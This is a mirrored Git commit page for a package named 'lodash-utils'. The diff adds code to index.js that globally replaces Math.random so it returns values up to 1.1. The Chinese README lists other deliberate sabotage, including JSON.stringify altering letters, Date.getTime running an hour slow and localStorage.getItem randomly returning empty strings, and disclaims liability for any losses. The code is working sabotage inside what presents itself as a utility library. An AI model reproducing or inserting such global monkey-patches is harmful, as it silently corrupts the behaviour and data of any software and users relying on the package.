mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 11:56:23 +00:00
more
This commit is contained in:
parent
f6ee342544
commit
981117a344
@ -14,6 +14,7 @@
|
||||
* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
|
||||
* `Date.getTime()` 的结果总是会慢一个小时。
|
||||
* `localStorage.getItem` 有5%几率返回空字符串。
|
||||
* `Math.random()` 的取值范围改为`0`到`1.1`
|
||||
* ...
|
||||
|
||||
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
|
12
index.js
12
index.js
@ -104,4 +104,16 @@
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* The possible range of Math.random() is changed to 0 - 1.1
|
||||
* @zh Math.random() 的取值范围改成0到1.1
|
||||
*/
|
||||
const _rand = Math.random;
|
||||
Math.random = function(...args) {
|
||||
let result = _rand.call(Math, ...args);
|
||||
result *= 1.1;
|
||||
return result;
|
||||
}
|
||||
|
||||
})((0, eval('this')));
|
Loading…
Reference in New Issue
Block a user